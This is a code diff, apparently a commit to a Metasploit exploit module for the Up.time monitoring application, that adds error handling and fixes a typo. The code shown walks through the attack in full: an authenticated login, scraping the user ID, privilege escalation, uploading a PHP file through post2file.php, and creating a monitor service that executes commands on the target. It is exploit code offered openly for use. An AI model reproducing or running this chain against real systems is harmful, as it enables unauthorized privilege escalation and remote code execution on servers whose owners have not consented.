@@ -74,6 +74,10 @@ def print_good(msg='')
74
74
super ( "#{ rhost } :#{ rport } - #{ msg } " )
75
75
end
76
76
77
+ def fail_with ( status , msg )
78
+ super ( status , "#{ rhost } :#{ rport } - #{ msg } " )
79
+ end
80
+
77
81
# Application Check
78
82
def check
79
83
res = send_request_cgi (
@@ -195,13 +199,17 @@ def exploit
195
199
'method' => 'POST' ,
196
200
'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
197
201
'vars_post' => {
198
- 'username' => datastore [ 'USERNAME' ] ,
199
- 'password' => datastore [ 'PASSWORD' ]
202
+ 'username' => datastore [ 'USERNAME' ] ,
203
+ 'password' => datastore [ 'PASSWORD' ]
200
204
} )
201
205
206
+ unless res_auth
207
+ fail_with ( Failure ::Unknown , 'Connection timed out while trying to login' )
208
+ end
209
+
202
210
# Check OS
203
211
phpfile_name = rand_text_alpha ( 10 )
204
- if res_auth && res_auth . headers [ 'Server' ] =~ /Unix/
212
+ if res_auth . headers [ 'Server' ] =~ /Unix/
205
213
vprint_status ( 'Found Linux installation - Setting appropriated PATH' )
206
214
phppath = Rex ::FileUtils . normalize_unix_path ( datastore [ 'UptimeLinuxDirectory' ] , 'apache/bin/ph' )
207
215
uploadpath = Rex ::FileUtils . normalize_unix_path ( datastore [ 'UptimeLinuxDirectory' ] , 'GUI/wizards' )
@@ -216,7 +224,7 @@ def exploit
216
224
cmdargs = "/K \" \" #{ phppath } \" \" #{ uploadpath } #{ phpfile_name } .txt\" \" "
217
225
end
218
226
219
- if res_auth && res_auth . get_cookies =~ /login=true/
227
+ if res_auth . get_cookies =~ /login=true/
220
228
cookie = Regexp . last_match ( 1 )
221
229
cookie_split = res_auth . get_cookies . split ( ';' )
222
230
vprint_status ( "Cookies Found: #{ cookie_split [ 1 ] } #{ cookie_split [ 2 ] } " )
@@ -232,7 +240,17 @@ def exploit
232
240
} ,
233
241
'cookie' => "#{ cookie_split [ 1 ] } ; #{ cookie_split [ 2 ] } "
234
242
)
243
+
244
+ unless res_priv
245
+ fail_with ( Failure ::Unknown , 'Connection timed out while getting userID.' )
246
+ end
247
+
235
248
matchdata = res_priv . body . match ( /UPTIME\. CurrentUser\. userId\. */ )
249
+
250
+ unless matchdata
251
+ fail_with ( Failure ::Unknown , 'Unable to find userID for escalation' )
252
+ end
253
+
236
254
get_id = matchdata [ 0 ] . gsub ( /[^\d ]/ , '' )
237
255
vprint_status ( 'Escalating privileges...' )
238
256
@@ -273,14 +291,22 @@ def exploit
273
291
}
274
292
)
275
293
294
+ unless res_priv_elev
295
+ fail_with ( Failure ::Unknown , 'Connection timed out while escalating...' )
296
+ end
297
+
276
298
# Refresing perms
277
- vprint_status ( 'Refresing perms...' )
299
+ vprint_status ( 'Refreshing perms...' )
278
300
res_priv = send_request_cgi (
279
301
'method' => 'GET' ,
280
302
'uri' => normalize_uri ( target_uri . path , 'index.php?loggedout' ) ,
281
303
'cookie' => "#{ cookie_split [ 1 ] } ; #{ cookie_split [ 2 ] } "
282
304
)
283
305
306
+ unless res_priv
307
+ fail_with ( Failure ::Unknown , 'Connection timed out while refreshing perms' )
308
+ end
309
+
284
310
res_auth = send_request_cgi (
285
311
'method' => 'POST' ,
286
312
'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
@@ -289,15 +315,20 @@ def exploit
289
315
'password' => datastore [ 'PASSWORD' ]
290
316
}
291
317
)
292
- if res_auth && res_auth . get_cookies =~ /login=true/
318
+
319
+ unless res_auth
320
+ fail_with ( Failure ::Unknown , 'Connection timed out while authenticating...' )
321
+ end
322
+
323
+ if res_auth . get_cookies =~ /login=true/
293
324
cookie = Regexp . last_match ( 1 )
294
325
cookie_split = res_auth . get_cookies . split ( ';' )
295
326
vprint_status ( "New Cookies Found: #{ cookie_split [ 1 ] } #{ cookie_split [ 2 ] } " )
296
327
print_good ( 'Priv. Escalation success' )
297
328
end
298
329
299
330
# CREATING Linux EXEC Service
300
- if res_auth && res_auth . headers [ 'Server' ] =~ /Unix/
331
+ if res_auth . headers [ 'Server' ] =~ /Unix/
301
332
vprint_status ( 'Creating Linux Monitor Code exec...' )
302
333
create_exec_service ( cookie_split , rhost , uploadpath , phppath , phpfile_name , cmd , cmdargs )
303
334
@@ -309,7 +340,7 @@ def exploit
309
340
310
341
# Upload file
311
342
vprint_status ( 'Uploading file...' )
312
- send_request_cgi (
343
+ up_res = send_request_cgi (
313
344
'method' => 'POST' ,
314
345
'uri' => normalize_uri ( target_uri . path , 'wizards' , 'post2file.php' ) ,
315
346
'vars_post' => {
@@ -318,6 +349,10 @@ def exploit
318
349
}
319
350
)
320
351
352
+ unless up_res
353
+ fail_with ( Failure ::Unknown , 'Connection timed out while uploading file.' )
354
+ end
355
+
321
356
vprint_status ( 'Checking Uploaded file...' )
322
357
res_up_check = send_request_cgi (
323
358
'method' => 'GET' ,
@@ -328,6 +363,7 @@ def exploit
328
363
print_good ( "File found: #{ phpfile_name } " )
329
364
else
330
365
print_error ( 'File not found' )
366
+ return
331
367
end
332
368
333
369
# Get Monitor ID
@@ -345,7 +381,16 @@ def exploit
345
381
}
346
382
)
347
383
384
+ unless res_mon_id
385
+ fail_with ( Failure ::Unknown , 'Connection timed out while fetching monitor ID' )
386
+ end
387
+
348
388
matchdata = res_mon_id . body . match ( /id=?[^>]*>/ )
389
+
390
+ unless matchdata
391
+ fail_with ( Failure ::Unknown , 'No monitor ID found in HTML body. Unable to continue.' )
392
+ end
393
+
349
394
mon_get_id = matchdata [ 0 ] . gsub ( /[^\d ]/ , '' )
350
395
print_good ( "Monitor id aquired:#{ mon_get_id } " )
351
396
# Executing monitor
0 commit comments